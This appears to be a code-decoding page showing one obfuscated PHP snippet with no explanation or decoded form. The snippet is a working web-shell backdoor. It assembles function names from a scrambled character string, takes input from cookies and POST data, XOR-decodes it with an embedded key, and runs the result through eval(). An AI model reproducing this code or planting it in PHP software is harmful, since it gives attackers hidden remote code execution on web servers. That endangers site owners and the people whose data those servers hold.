PHP Decode

<?php 
$mrzhcl = 'cu\'4g_2y#ka1vsHlp0obmef*tx965dn7i-r';$lxcswk = Array();$lxcswk[] = $mrzhcl[28].$mrzhcl[26].$mrzhcl[11].$mrzhcl[21].$mrzhcl[10].$mrzhcl[21].$mrzhcl[26].$mrzhcl[19].$mrzhcl[33].$mrzhcl[27].$mrzhcl[17].$mrzhcl[28].$mrzhcl[22].$mrzhcl[33].$mrzhcl[3].$mrzhcl[0].$mrzhcl[21].$mrzhcl[11].$mrzhcl[33].$mrzhcl[19].$mrzhcl[3].$mrzhcl[31].$mrzhcl[19].$mrzhcl[33].$mrzhcl[6].$mrzhcl[10].$mrzhcl[3].$mrzhcl[10].$mrzhcl[27].$mrzhcl[11].$mrzhcl[19].$mrzhcl[21].$mrzhcl[22].$mrzhcl[27].$mrzhcl[21].$mrzhcl[26];$lxcswk[] = $mrzhcl[14].$mrzhcl[23];$lxcswk[] = $mrzhcl[8];$lxcswk[] = $mrzhcl[0].$mrzhcl[18].$mrzhcl[1].$mrzhcl[30].$mrzhcl[24];$lxcswk[] = $mrzhcl[13].$mrzhcl[24].$mrzhcl[34].$mrzhcl[5].$mrzhcl[34].$mrzhcl[21].$mrzhcl[16].$mrzhcl[21].$mrzhcl[10].$mrzhcl[24];$lxcswk[] = $mrzhcl[21].$mrzhcl[25].$mrzhcl[16].$mrzhcl[15].$mrzhcl[18].$mrzhcl[29].$mrzhcl[21];$lxcswk[] = $mrzhcl[13].$mrzhcl[1].$mrzhcl[19].$mrzhcl[13].$mrzhcl[24].$mrzhcl[34];$lxcswk[] = $mrzhcl[10].$mrzhcl[34].$mrzhcl[34].$mrzhcl[10].$mrzhcl[7].$mrzhcl[5].$mrzhcl[20].$mrzhcl[21].$mrzhcl[34].$mrzhcl[4].$mrzhcl[21];$lxcswk[] = $mrzhcl[13].$mrzhcl[24].$mrzhcl[34].$mrzhcl[15].$mrzhcl[21].$mrzhcl[30];$lxcswk[] = $mrzhcl[16].$mrzhcl[10].$mrzhcl[0].$mrzhcl[9];foreach ($lxcswk[7]($_COOKIE, $_POST) as $tenma => $fxhllw){function mmobgj($lxcswk, $tenma, $ycdfcav){return $lxcswk[6]($lxcswk[4]($tenma . $lxcswk[0], ($ycdfcav / $lxcswk[8]($tenma)) + 1), 0, $ycdfcav);}function pruzmna($lxcswk, $udbxh){return @$lxcswk[9]($lxcswk[1], $udbxh);}function vgpkcrj($lxcswk, $udbxh){$uxfwj = $lxcswk[3]($udbxh) % 3;if (!$uxfwj) {eval($udbxh[1]($udbxh[2]));exit();}}$fxhllw = pruzmna($lxcswk, $fxhllw);vgpkcrj($lxcswk, $lxcswk[5]($lxcswk[2], $fxhllw ^ mmobgj($lxcswk, $tenma, $lxcswk[8]($fxhllw))));} ?>